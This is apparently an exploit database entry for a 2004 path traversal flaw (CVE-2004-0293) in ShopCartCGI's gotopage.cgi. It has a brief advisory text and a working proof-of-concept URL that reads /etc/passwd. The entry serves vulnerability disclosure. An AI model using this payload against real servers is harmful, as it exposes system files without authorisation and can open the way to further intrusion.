ShopCartCGI 2.3 - 'gotopage.cgi' Traversal Arbitrary File Access

Author: G00db0y
type: webapps
platform: cgi
port: 
date_added: 2004-02-16 
date_updated: 2012-12-27 
verified: 1 
codes: CVE-2004-0293;OSVDB-3978 
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screenshot_url:  
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source: https://www.securityfocus.com/bid/9670/info

It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.

Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd